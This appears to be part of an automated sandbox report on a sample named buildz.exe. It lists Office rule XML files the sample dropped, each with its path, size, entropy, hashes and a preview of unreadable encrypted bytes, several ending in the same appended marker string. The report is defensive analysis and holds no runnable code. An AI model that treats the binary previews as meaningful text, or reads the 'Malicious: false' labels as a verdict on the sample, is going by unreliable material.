SHA-256:	60A5BC870249AB403E260C2F8A342295DDB66716837E31DB96B6C61C0B45477F
SHA-512:	9BBCF0E953E288AFC8616B2579DDF39ACE2CA1F8F368C7ED83F77545EE1B344D6F48EABFBA2A242600AB359DA8039E60E0214E29C7DB2E71CD6FD24D29C2A984
Malicious:	false
Reputation:	unknown
Preview:	<?xmlI=r..T......4...U^.r.g...A.L...co....#<..8.yC2..78)..A..W....T....h8.\|..g..cC.7vR,..$nx.R"A.s.1.J.......c+.c,..,.R..0P.1....%2.t.E....c.....d"a......\|...6..A.tc.\|..."!.....c.J.(`...V......,....fp.H......q.DWU.~....yf.B....<........yV..-N.7...n.cM;.X.....E....Wj ..G~...V0.>r..U..X..\.H..G.G...c..[...Zm..`........+...g..........%....u.1.HyY..mV.}..@.y....v.....{..... .T1.<.%..p..U6O.<.(@...0*f.P>.]A...`..M.1d<\[0t.&`/5Ns/EBu..E.C.r....[..Y...X...~S.:...f.8\!..{.VV.a....;v........4!.X..jc..2....z.da"P^.7.....?.+ .....l.:.._e..F..q.0.6/}......T.....5..Q.z...Tm..>2..J.D\|uy..-1..STf.B...b6.....+o.........c.uAH....]:#.mD..@.P.M"......>.t)..^.4.h.y.\.r..q!.]..5..v..(.h3v.../...8...S..........rL.}...b...6..9..7.0H.v=,..k.!...R...DW....."..hcQ4........xe......AJ.G....T.=.r.<fp....C..5....;A...)..$k.:..WG.}....i..x..(.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90201v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1465
Entropy (8bit):	7.853767213834691
Encrypted:	false
SSDEEP:	24:VfZP9aLWCaOF4wBqc4GRJWgT3uSGfxq4PraUOExwam6BtcUbD:RhDOqc4GXT3u75q+t26c+D
MD5:	688F1441AA93FB0C693974766FC1993B
SHA1:	4F3177CEBCB5F79FE360003DA2F06960DCCBDC81
SHA-256:	93444FEB0E34E5D9AF089375B8404B6CC43FC2C1F682D1F09639D148730E327A
SHA-512:	7E7D1CD97BF18D5987A8D3E31BCA6D69BC0867D15284EA9515E596DDD936ED5181C78A8ECBDFAE99A156ACF791F086C19F810AFAE8780A9F9B3A9B363B9A60B2
Malicious:	false
Reputation:	unknown
Preview:	<?xml.b...jX6s...=....<$..Ori>..#.I....F..i.\|...&>.~.vI.3:.I..x..pm..U\|c.$..o6.R.?nH...4.......9.2....+...+$.kg.>.gm...b.:c...4#....`wr....lv<i.wuqh&&..5?..F....\\)....<...J0Jf....)..U.B.}..r2Y...0,3'.jQ1.br2.W...W.f.W..L.:D./v7f.h.u..Ht9..8...U.[.vu....,..3(...k.3$.B.....T.....x...J...~>..^..).d.E..7.]-E.#o.f7?..7.....K.....?.)\|f.../..w...(J6%_.....c...kJu. .K,}.>c.m..........e9.Z...-?g&.y...W....."..\|/...C.;+..5.'\|v.A.L.X-W..).B.-=...RjK..e!{.=+..j.l2x..t."....A.R.,{....K...D.k...ER..b.....e-b?cCO.....#e..?....)a...7.qG..}.1R....#.k.F.r.d.l.4...$.....n8...?.....5....gD/..f.K..L..BI..._...(p.W:. .\..v.+$..+..3.!H...F5.].FD.N.f....,C....F.....].2...S.Lx..z.B....A&......@..4<Det.p......".;...J.......H[...<..!.K>1D.1..k....oH..).s...$...-.=....'..f.@.xR.O..{.0..).r...R.........y...4...e..'.......!_.x=.Y...._.`.. .rU..1$....B.t\|.%..1..!..>.^Q.VXA.j?.s.'......#5k......dp....g..!.... ...-.\.k.}.{,.nT8...?X...n.0.,._"8Y..C.o-.6F..y.^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90204v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1185
Entropy (8bit):	7.814976211714979
Encrypted:	false
SSDEEP:	24:4RFF4hrmnvXf09cRBhA7VkkXFvtUKDm8Dwrh6Tuilda6wbD:J4fnBijXBt+Lh6TvldkD
MD5:	E6827A9D0B4866BAC075936E46E7C290
SHA1:	2BD0395CFFCC70C7C4B27FCD6ECCC816F7C6C387
SHA-256:	D883E6527942C3BEEFF25400099E43F8783B0889848195DF794F25781C68EDD5
SHA-512:	EA664F854B92CC2FB7BA97E67F2D82A26D54BD6B93E29F990CA0752009EB30A23496790F25102C3A42E3D11493D953B80EFD912867F764CFEFB42A38C05914FA
Malicious:	false
Reputation:	unknown
Preview:	<?xml.. "7B_.J.)...JQN....e.-.v.W.G......\...2...u.S...&...`$......".......J..6Xm;.'.........0}.....r..F..w.'7..7......Kh+..,.\|...0...Pf.@X....5Ft9.k.l.G.`,..8.Xg.!4-..]..[..ys.9...x.. ..[d5QoO....c..r.j<.f...a..{L.....+...2.......s..E(C..fZ/.(...mp..!...U..Xo.f..0<.`+.@......0..k...)J......W.6p.8..)Y.$....[Z...._......EG..q.i.D.r..a.n...BF..-.ZJfX....mNV.L...E.1c.J;...X.;F,.x .._....A.Z.h_G.f.N/d.`..}.....-H..B...H0...\|r...l......[.......M.3.!].B.....D..2.To..P.oB.4.0hu..\....A............@.d....6..a...Q.Q.J.0.LdD+3...pZ.E..%.Z.....<.2..4W..c..t.J...V...\|..$:. ...a.C....j#.GkjO.t5..[j..f..#V..$.....i.......ff.N.t.x..HN..6....%..._./Q.g_5....3d.%..yQ...\|....#.Q.Rn.I.Q.:..e.UKib......[.F.}......b........s~...Q...A...I.kJ..T.G.4...T..\.J......T.j!>..Y...%.. ...hc%./..kX&.\|.O....8.n....M...v...'.&...,.)0....y.}...N%qZj.m..3=.}.I........u...".E.8.e._...M>.q.!.S.'....-c.my.A..1.gc.;k.....w.@.S..x.)...T..(.>.~to...;.3...2#k...@/:\.. ../.Z.....&F.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90206v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.786652230280194
Encrypted:	false
SSDEEP:	24:kvl+II7+PjMgsM/CfcOrwJTJICodrEkD6zCKFOpMZ47bD:kNgJXftkJTJICodrEaQv8MED
MD5:	766682625B9936A2E8C3C5723C87B880
SHA1:	A2B427BF7B6DE7C3F18D33FE8FE3DE30D9736C6D
SHA-256:	7F9C12DD81837EF88DD2F18ECBBBDC5EA71E32052AEC815C59830B11A02634D1
SHA-512:	52CE56E229371347A42A7E1C46DCE8FB22B6691711B04CB991D4334D3F0869E9FBB1ECBB81FC170570720D0C45AB391D3E127D929F13C2DF814E85495E03A559
Malicious:	false
Reputation:	unknown
Preview:	<?xml.^.._...H..-.W.k..V".eT.4.@.D...A..3.....+nk;Y..<.....,C.d.,.K..&..bX.}...i.b...w.`.M.J..XVF...v4.!...an.L\|}1...X1.]S.U.Wro[l[wU..,f..q......I.a[o(e......s...@.J$..,.T>n.g=..@8H......%I-f.qa.YgR..#@..k)..aO...i...A.....&Z.....f.e@..}3j'.r.]./4.5~.P.w.9W..X...C.3.."..f.EIa..fD..:v..\&...lR.i2....p...T@z!=...{.~..b..p.].@.v...!...R..B.mv/...2..NkZ..\|..I...D.....9.d......y.i\.&.@.:X....c.If ..fm..Rk..\|....Ik..H...a3.l7........v..............JCp...o\.>;.r......HQ.Qu.3.;..@8N..z.l.d:=.h.q.},F<c.8...<...`.....8.+...$..rk.LHs2mcv........Q..L..O.6w...l?6\...h....Z.b]....[...XI.C'..B&.t5.Q.f.dX......@KP.m:C..X.pB.{9t.... .@.x..."..!........W.BY...H.h.U.......HY)..s.q...6.z.....;....DY.p..K......w`......z.......(!.`.;.n.m..@....^.<jr..e. .x.M.{[.B........c...-....d~8.k.T0....Wbw...q.So...zg. ;.a.?.~.... E.^a$.j....6..".v..a.%V...W~ ..........Uc.m..Z....$.:.<v.A....&.....{5JS/...g.\....-.;..{...~B....a.dF)..fO.\|;S\|s3=Hp.....<.....d......>U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90207v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1007
Entropy (8bit):	7.792330118606796
Encrypted:	false
SSDEEP:	24:QHP5SJQ3rfISHPTvDdt8sJkzUs6a7UMjrKU4pATFdAjbD:QHP5SdGbvD/8sJkzka7brKjsFED
MD5:	4D9FFEA48D08393AA0CDA1F375CBD0D6
SHA1:	376C5F3D9C0BCEA19F9C707D71B0025D54F5D419
SHA-256:	33E93F78C3CE01406B4700237237DB927C0A34545BCEE289C37EEE04F5B62F31
SHA-512:	0C02F1A92EEE8C17736955C09ED97457181B9A392E7FC446E8A1B4D67BAFD8C9E860ECE0E34536F4E53766C57633B2D98FA61302FCCB67136648F725D8820E61
Malicious:	false
Reputation:	unknown
Preview:	<?xmlH._.....N.7.^...k..%4\|'.]-.oSQ}..Jg...%~.......M..No..$.dzm........} 8n....3.....Sm.0.5.)...q...'.m.U......X.C.B.^..G...Z.nM.r.....Ds......~.-..(...N_......X.7{.~...;....G-.z...@..b?y...%..`.....$_.mG..5..z).#..}..B.Q..:S}Ws(>.....{-...\|AQ.P..r.#..\|....c.-.{r..(A...J...-.3"..=.^(+..v../8N.y...H.7>...I.0.N..@...&.N..M.....v..i.A})x@.p.3..P^U.....yC.......q.X<..?.`.....Q.AJ-L......4.../..>..w.@..[....Sf..3....F.!x...j...A........;-.y[....:./....b.90..~m.E..7J...h...H..m..R.].A......f...n_.[.y.4...2.%..f.........(..q.7.......O....lMQ..r...f....3V..Z...JL.u....m..=.......tQ>Big....t.H.....K}A.kL.....}.5....V(D...^>>.......y.....`.u.1......E;+u.J.R.=.^F...D\..[$8.=Cg.e....2{)..c...ud....v.....x.O.j.Ze.......(!.^.W......9.Q..fuK.......?.YXb..-..v..-G....Z.E...T....,.w....a...w..GW.....N...\|.V.sM.?s.....%..$.s.....+l....a...f..W...+..K..Qk.P.....=......D.}..3aN..O!S$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90208v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	938
Entropy (8bit):	7.7890046589575705
Encrypted:	false
SSDEEP:	24:rsrv5NrEjP2+PNoCQ5T9JMViBpowQ8VF8pMsUTTZRDbD:cnET2ONoCQ5TL4bw+MLXXD
MD5:	601176538B53116B8B9903EC45F6212D
SHA1:	FEECBA3AAC11525147626F36CE3EE38F8D9DEC34
SHA-256:	8BCA898B35ED4C3DDD6B7E901808CD0ED7A2484C8004F6D8C41E71516A3234E9
SHA-512:	E75A19DA42449D67F4521BBA65BC0C7B67ECFA850AAD97F58F645023575D80E3DF6C42B36F0AB0129851209139C61944CED185873090025ADD898A772B0F72B3
Malicious:	false
Reputation:	unknown
Preview:	<?xml$.....*G......R......W.k.#.......c...d..3..:.b.....Z.0.....)I..0}..z...r.mJ.`....CA.....k.v.7..x@..^.6...}J....h)..7.2.5...?R.6.. .e.,.Yc......W..........S#.L..~E.X$.......`XZ$..J.#f..J.8...u...:.R.L...^-.....U.....>.m].%Yy.u.-.G....$..cD.w..v..Yk._...._.J...u...oD...:V5.e..%:......f.N.Z.=>?.6...t%)E#.....!...t....4.g.k..5,B.TL...M.j!.....[..-@...=4..[g..........R.4.QS..t.l..=.v.zE3s@.V..Pi.x.MG{..o.... .0".+I..g....mR.....v.....&7A......X."...qo..a.B%..gOR.$..L`...E..5.?..:./...@.E4.........g....}k.Y...Y...E.@.rw.........&...X....d...D.........Ch,...W..K.G....bXIeL....n...)...8......+.&6e........B.{..d.....o..:....R..;j.d..i.?.(....@.?`w.'..I.E.......3c....1.)..&8....x....4B.$...'.Ww.2.5._....aw.b..v.(.w\|....?=1QQ{.j..?....................2.H.....E`......d.X..iO.n-l....];..\|f....M....}^..A.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90303v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2211
Entropy (8bit):	7.907190502208997
Encrypted:	false
SSDEEP:	48:fmKQJRAeHT2jyFTo7pt3vO0FaFhY5QJ8KX3uh5WnX/m0IznW26nBdxD:HwHT2jkot3vOuy8KH2yu0Id6n5
MD5:	86FEB49E60977D11EA40436B1BFE9F1E
SHA1:	BBA3ADBF75D2497C8D9F8430F8739AC83E09B71C
SHA-256:	7A0D5B1CDAE9F884FBC4AD15DED33BD735DD2E9F257C2639E758F40456FB07FD
SHA-512:	C64FC9A8BB32C85BD71412EB66B4384B6AC919384A11B62A21A5755DA7BECF42BF4356F9BF55863D3B309D3304130C130659F2AFC8CECE9995D8214F27F93B82
Malicious:	false
Reputation:	unknown
Preview:	<?xml.......9X....i..X..3..).....a'#..\A..._'.{..y..a2....l,.C.4rZ.l.e.VMV.AYY'y....E......&..,.d.....m....j..n.. .I..5..].m@..DO6h.LA.......C...........8..^0QL~...Ox..5.i...\|.A..5.M;.....#/.+....f..P.'.....&q,cY.n.zY.h.(...C..K..}s%..Y.i..HfV.'..!V(........YX.S..0.. .9.Y.8....l!.Y.......9@..}..........8k..Rc...3nC... .....j0.....JGpmVE..x.4D..0.~3m......<.i..J....cn.I..#R.R.4.VN@=S.].Fhi.Q.".pk...!..9me.N.dgR...XZ...a..=].`...Y...s...z..a....V..;..o....,.7...C..mm1.....P..#..v...3....C....:.+.Z.s\|......J..o.z.d&...XN.K...Pt.X\|dy..F.Y..v.. . b._..Z... .M0G=.MKP\..[...=...t..X. ..v...d.xM.@$..AT.......9.oH.@tf......p....c.....Z.f.D7...\..}...].Cy.).p..f7v14..X.w.I....=Q.G...\|....;/..g.....Q.......z.U.L5.W.@....-6M?.A.X!.U.i4&....V..z..@M}.7f.%...L>o"..5.....U4`P..Z{..S .)...f.\k.U...-"F.0....v..u4....~...sa9...........H.@...\.7.0v'.b..b:...?....6.&...}..8OB..S./....vP...2.K.*...[.wu...\|.xY...Y..@<u..JF.5Np.y.w..m...t..dR..l!/..0x..).`....I..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.896223322468715
Encrypted:	false
SSDEEP:	24:A7W5/dQZWuhpi+Wt8M8A4ZCHW0i51lo2UcS+RjQvzrRAnm5olt0HXcTopr8KCsbD:pdQZZfkvOuu53tR8vXmOoYHM8D
MD5:	8302304FF88597F9BD2DAB0FE17691C9
SHA1:	D2061FCED0AF667EC98F59CDB2BBA3ECF7E246C5
SHA-256:	9265F678936F8E42C05A4C613009E7273BA8B442F8F98137FA887DE5350FBF99
SHA-512:	F3041F6231898C59B094CD7AB64C2B4D5A1464972ED0178CA701E36E6CD2A9E3B10064055D12355ED7B54B0CC5C86174D79E7011453F583B4DC23CFA92602600
Malicious:	false
Reputation:	unknown
Preview:	<?xmlY..7.nh@...m2..p.-.,.x.t...\.Rs...s[B..j..d.._? ..j......~.......9).^M..Ms..n.33......`...zN.....k7}7.}.S...j.Oa,g.....>q..T..,B..P......H..p5J.qJ....z.."G-.}V....\.Y7.&<....[.i.O......-.wm.}....G..W.(..D.L..............I..K..1.."G7N.....e-P.e).w.....Zr.\...T.0....k.k...I.lQ"].a.G.D....S.y.$......B.j...o..O.<.?$...o.c".bo?...CF...V%.?.........U. qj.V.\...yo.........:#Le.:.)2U:@.m..>..AN....m.%....L..1<T.}.p.z_.,G..n+..N....!......zV.....9_..s.=.......n....T...\..g!31.ra.n"?hp.=...^..2.e"..m.......3....)h.0....k......FU...N/T.V..0..~..m...e...[.[4.f.M...>.l....v..~`...ZW..F..;@.$.,T.....F....QG..7..H.P.t...@..\..9...BO..Y.....wF...U..{..Qf:..B... n..<..>...4?..t..;.xB...7...U.W......_Dny.. .........p..M.[,<....K../.t....T.r..........Z....\|...ee.S.r..7..c>Ur...o.t.2...~.F...........8+.g.g.S.P....-...j..e..UF..0...+.....+v.w!...*..=h."f...MT.W=>{..6.H(..}..a..0.......T..l..a....."......_I.EwT.. .... f..,.B.t......m...I...V.\...3z.(...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.864160034275963
Encrypted:	false
SSDEEP:	24:HM31IJz5/5u7O1pDdD6hdItjuslt794QA2kLCSEdi3G7QbNi/KyQ63qbD:s3b7kx9t179hA2VS8i3G7QJi/Ky8D
MD5:	572653694151F7D7EF5E1BF183373A3D
SHA1:	3B19C72FB3C8D205E8F3B824D8278614DCF47B4F
SHA-256:	164B4F57C6047126F68D1EA75B327EFB3EC8FC04C47943BFC61A9D57E1B6E5EB
SHA-512:	25BC954BE4DC78BC67B0E54AAD3E836E45CE4F9D79A47FB72DBC92174B72DCE4CFA7DCBBDCCDBB46C8C6E14A9966261BCBFB324FFB16A01DF932362FEB5FBEFA
Malicious:	false
Reputation:	unknown
Preview:	<?xml..V.....5{.Im[{.e.c1&+.W.........Q`..v.K.My.n...v...0..tB...#.UZ....Z....r...f..Ma.....0.gB.v/A......PU..5.'..)h...a..A............i..+.X.6s........Q.\g`..O.uz ... IE.0J....o.1.....2.].<&..s2.UYb....8fn<6.W..!.q..$.....r.%..`o..9.._.....vHl.Q..\..].l...h..#G.H.......$?l.K..v.Y.,..p)C.&.%h....u.z...V.t.>.Bal..\|.....d....cg.G.M.j...eN.....L..B.1...^.6TX....=.....L...t...$.q...\GB.4`...nZ.;..6..K.^.-..Tr.E..A.R....A.gp..!....2..O..Fk.maf.+.}..4..R1....'#.....l....>.....%[.)..4#..R.$.....Y./.......r...'.K....6P#..@.H.n....5.d..P+np.....i..RY........<p...P.N....N.d.\|>P..J..&.>Q...+...=M:.....}..d..^.\|6.g......[..%`..Z..).q..l6L`..h.[R..g.E........j.\.......Hs..J....dH.G....}0...)bA..j.S....Q.u..aV0@.Ph./s.,..H.x..j...`9.......ti.k.e.'.....b.<....f..._....._.".'.^#4v<.5..^7Y.d..."\|'...\|......../X._.+....-"blk......`.%u]{........N......A.t9..v.>.".L...%.=^..\...L..S......5..s.9.....P7........<.t.;.8....T/..\|......=........w\K......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.8950982635747025
Encrypted:	false
SSDEEP:	24:VJO0VJrjYn8DzjIgG0ABrdrmuKIhm7v2x0GApUbTbEdtSAdYByuMgBo0v3rPZbrw:VPFj13I+ABrK2fumbC/soWZu+98JF40D
MD5:	8EE2581808F68E61C40DB350D2DEE39E
SHA1:	CD4F696CD4F26DDB2FD7738A13329F40CF5A183C
SHA-256:	ADD056E29B3C3478AFAEC601F4D9A410C835C7B57CC9133A294C95E34D75ED9E
SHA-512:	0F81A96C67D9C32DF34EF5BE68E03670973922F86C2533E49DF0289639605DB9CA1D2B6B2B262CDB0DDD77A0012501888B87884699D5D1A11BB4ADF945533A17
Malicious:	false
Reputation:	unknown
Preview:	<?xmlH....&,.....c...P.}.d+W\.p$...^T...%..[\|........G6...W.Wt....dgN:...Z...w.... ..X..hX....o.VLI../..=.k.....@l.....vl..6;..]........?...\C`.$..]v..D.N.H.......\|..Eh.b.....;.Ckc..j.%,..74..4...O...-...1w..Y.\|....cz.$...fF.......Va.Jx}....[G.1..Fh.P...j..'......b.q..[.V.d..\\|.y.j........!b..'.Z~...tu..u+..@..`...q..b......,.......l...w.L. #.@.7...)n.u....:...we).k.;@V....5..J...?V7....o..JA.8uHD.....%.L..oK...{)I..bj.p,y.?..'`.3@.\|6_...g...JlP.J..........3c..a....?j$..P.-$..U.#../...Yc.........c.5..u.e........Q...../....n'=..w..R...q...........s...w.....zK[...+...."\g...$..Zt..<-..b.JG...Nrcs.],...o..e...Bd ../..q.R ..?.(...fN.m...Z..!..fI...3..w.U\|"5..(x..[30...Z...Z...L3K>.........).;.......0.k...t`VT..../.JKH...o3...>.X.l...r..V....%>.............K.PYR._.=..M.(2........Q.^Q......H2o..FQ....e..._.7.<"....\|..c....,.fw.fi..ic..UuR..1F..O[`...v.F....` ....dZ..\Cq.N.....8Y...p....d.1...Nahp3.../.+...'...;zN..N\|...+.S..\|...m..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120402v21.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4121
Entropy (8bit):	7.9566803470743
Encrypted:	false
SSDEEP:	96:oc/qt8Ig3ztelOt366IlxZduZv5qeL5TRsHlx1MV3XcVlQmoB:dn3vt3mxZAZBTL5Tg1MWYB
MD5:	169919971D02C2A3293A0CCF8A3A8565
SHA1:	50112C1BED73C66504AEECFC920232DF8C0FF412
SHA-256:	6F5660EBFAED206BEB559043E5C779BAB4B6DA33C08A2F504DDD44AA5321073B
SHA-512:	B96A9834F2D2A71EF18BFB873A6B43C06F49F74F7C8211CB2D712A833D9729426E68BD73773DA0D116E3F6A7744D6A126D18F3FF2989DFAF1E2BD203854B2528
Malicious:	false
Reputation:	unknown
Preview:	<?xml. .&..H...!O....#$N....$.....79.`..I.....<mD.=.K:..M0.c...=po@{.T...#^[u.L.a..Q...og.f....3]..K^... A=/.z...uY.&k._..q. %.A.B_u2..!.)/B.(...E.m.`.`....q`.........4..Fi.....d7.0..$s....%.....y..5\....{.kM.vDk.....R....ep.,..+?.,mo.=.....3e.'..0.....Y."..sm.....?S!4.[.A.;p3..DI.rh7...y..Y.0....M..0..\|B.Xq......N.O.#..".^..G......:7.....$..&.ga......l..\q.+...\|.0fe........aUBP.GE.E.t+..]..0.>..........."...g..zxo..F....".....,....>cK{../l.C..L..>.PI........A..6....G\W.\|.gw.@H.$..l-.k..]..SJ........^\|,.....Z.$..{..I+....L.c..k.8..r...i..X}lh....z..0..t.IA.y.3.....#u9.O......bVz.I.WZ. *T...C.=.O.J-.F.CA..H.....u\|!u..g.q..\|v.\|,.e%.....]..%..A..B._....b.Sz]X...r...%.0X."..u..3...5.~P...g..&........"..g.U+=.'.k..!.O.#.=.t.@J....uU....9..ykSjdQ,<.#.#.......'8.@..i.^..c\|.....Y.G.Z.=g..J.S(..3>.}YG.+.....6T.%=N.y.D..;....^.e.?X.or@......i..f!..A....@c.....,...b.7n..Xj...7....k...c(...+..7&.H.d.R4..".a.......\|.......@.....w'.Z..N.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120600v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3314
Entropy (8bit):	7.948289639805977
Encrypted:	false
SSDEEP:	96:4cGynXeW0/5WxHDGCHQbkfcBgNLfpxqT2ggqy:8yXejWjGCOZBgBjqT21D
MD5:	63593BD378F6BE4BE9047970D699DE5B
SHA1:	96E86D20D88948A153BA82E1990CAA8D2F67BE2A
SHA-256:	1EF7B748D780ADA50372D1FEAD6777D80C5AE295549AE6C012D46A84425D89AA
SHA-512:	21785F2068C41479C9F3A396F4314DB13D62D97460CCB4C38067B47488A5EC90A45686380463EBEF71218A6B383C4E666B2495BC7F8BEFDEB2DC818B16AB2923
Malicious:	false
Reputation:	unknown
Preview:	.<?.\|P..KW2.............z.j.......E....}.T#J._.!{BT.-.q_j5...?e,.x....2<..'.YS.....j..9..\|.m.....i..l.g..lD..uN..R..m.n.ZF..7..{I...A.-.i...W.N.F/..!.......VGQ..B&......vz.).....(#0o.o.n.H]6Ol....\.~.W....t...I.).x..D........D...Y.:4XT. .i.+w.Z=Mp.`........`..$-..v..\|..CD.F.....v.s...E...2.f...uh\8....Du.`.[.^...Wh..O;-Q<.......!.'v.r.4.Z..F...J.x....6.K>z9e.(x.9....\\mb.sJEs...`...d...R..Q.9t%...wA.[..PEi."9...j:WcW.....q..F.....31Z<V...Nm.T..0^.E..`)...2...ZB.!X.&.o.j..^......>..^.~.;> G....d/.F=r..'.m.O%tZ_u...&...X.....m..9.m.)..t.v.KB..#....tP. {.m.0...$.DS.B..,..d5-#A.....]..)=.v..a....3.l..l@n...C\Y.`S.........O.`.fv.u.Z.h...7....{m.q......C0..)}.......)x.....dIX ..!.Of..~pl..y....S...ozL..A.6..+...X....6........>.c...T.}gFO.LQ\..Q...I:./.m.L.H..H{J..".]V......:...h....z......Q.jc.0p[rg.CI.z.f.h.V.\|G...:~./.`8...cFl3Z.v.....W.......l...2%F.z..'z....Li..^_.r...@&.....^..\.x....<.=.Q....X.jx...g.H.g.....l...D.e.N.L.?Z.\......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2494
Entropy (8bit):	7.928475235118867
Encrypted:	false
SSDEEP:	48:SdUkg1VuZAEFhI3/YnpY51esb3X0CncjxYXbw4FlFJrJJqNSDXbgK3Mg4g+tnbn3:S/CuZAEFhI3/OY7Hb38iLRXJrmIDrgK8
MD5:	B4E867100DAD37C5DB38F5BB86716AE6
SHA1:	E267F90C0EA6194817B503950D17829DDF188FFB
SHA-256:	FB122F2B3D68981F291B68019F0C24E68F76DC5599BC72EEB0BE2B03C71FD6D8
SHA-512:	B1694B1DCE7757AF85C5B37ACEE09BB42C1943710336627E5A37801DA95C5700A811DCB4C1EB33BC1C48EFE37E22FE8A86FF03C81900FBD88F72377C98AFEB99
Malicious:	false
Reputation:	unknown
Preview:	.<?.Z~.U#..G....nL.6...{...}.......NI...?..T.G>.0c)!7YXRT.r.N........}x..0y...J+..;........._^..(...E........K.-.W..Uk...8O..DR..=)L....8.+.. }.i_...i!.?QE..."0......n.6.>.u..-.T.e....% I.............'.6%..]-#.......c..d..X(Q?.~.~K.N.-...M-.[1.!..Q....#6.........[..)......a...{\|RJ.......t..V~K..H.@....."}@I..L;.:.s7......./.+#..l.B..$......A..XO....../<.....$.;.#X..M...p\|/.....m.Xw^?D..f.C%.9.2.]'...L...S.....k@........!..b.GX...R...QB..~^{.".s..Z.1}...b...Nsj....?}..I>.t.d.4.ZJ2d.i>.........._-.1..V#o.....a/....Bi...j..v.........!..Yw..3.~../.V..2..q&4.&a{y.....r.......(........".[)4.!v._.w.....e5 .0..`.. .p..-.,...{Gn......lB....%v..r.i..e.....bck{.'&.dQ...x..]E..m{......Z2.E.).....+...6.0v@...D........_[..B;4.%...J..J}..=`...S ..\0y^.....gx...Zf..Ju....w..Y2..z?7U...u..D.W...Q........n.j..,..Le."...k..@.M.s.^..`.V..m..Yo..C.G.y.J>..c..%V$.=.F.^.Efb.Z..x...^.4E....k.!w..;.....S....i..u#.0.*3N.B..w.`.^...K+A$..(....) .....+...1.j...p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.676023624650808
Encrypted:	false
SSDEEP:	12:VLBlAYoLE1sMk7mXH3WztUbwhDG0NbggIcA9kELTpEX2x9SrIZPMVyyLD1GkluWI:VELEW2HG3imb7IceLTp0OSkZEV3D0tnX
MD5:	10FF2020FA2C5A286A1B4EAD170FD575
SHA1:	38E35C25380DC0EC2C63FA375E9EC80C072BDA48
SHA-256:	FAFBA85EBA79AFAFEFB8B9289AF41753D3F710EAB1736E53727604420985B344
SHA-512:	A61456F6EFEF98AC76D836F219728003856F28820278EF29F03F6418EB13E0876549DBDE84DC042CD5F8800DECE55F3EEB8F9E5184C4893D6B9D4F936864EDA7
Malicious:	false
Reputation:	unknown
Preview:	.<?H.t...DJQ....6.[..8.`.$B.N#$F.....Ll.o.!O\.I.Z......V.J]].[Xv.H..Md^$...5Pm.8......6..i.+5.$b..~1"..?..{.;.o.O./.p.W.d.N...W....r...l.......5.e.Kq....5...._..7t.9Np..%....4KH.Cc..j.......]...m^...&.L..~+-Z].+@AWmF..3.O...zrh.d.u. =...<{>^.2.....'a.v.ioX,.-..a... ...R}.....@....."J>l.S(.....(!..)K..V..,&6.....}.,..e".3......r..\|..].H.\.J.".....o...I4...O.._1.mW...K.......-.R=....cqc......qkp:..]...G.R.\../..9.<...h...U. .J.Ckg..0.)].%9<.........(@...\B..<.FQ.3.<&).....3..;?5&..k..Y.g{i.b.V..q[...AQ...9C3...y...[.>.H.9S.....A...C..z..U...2...Fs....4..p..Ib.#(.O.?.{.P3.E........c9...Y.0og.%..`.W.Va<._......Ee.N5....3..6..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.7200621051074725
Encrypted:	false
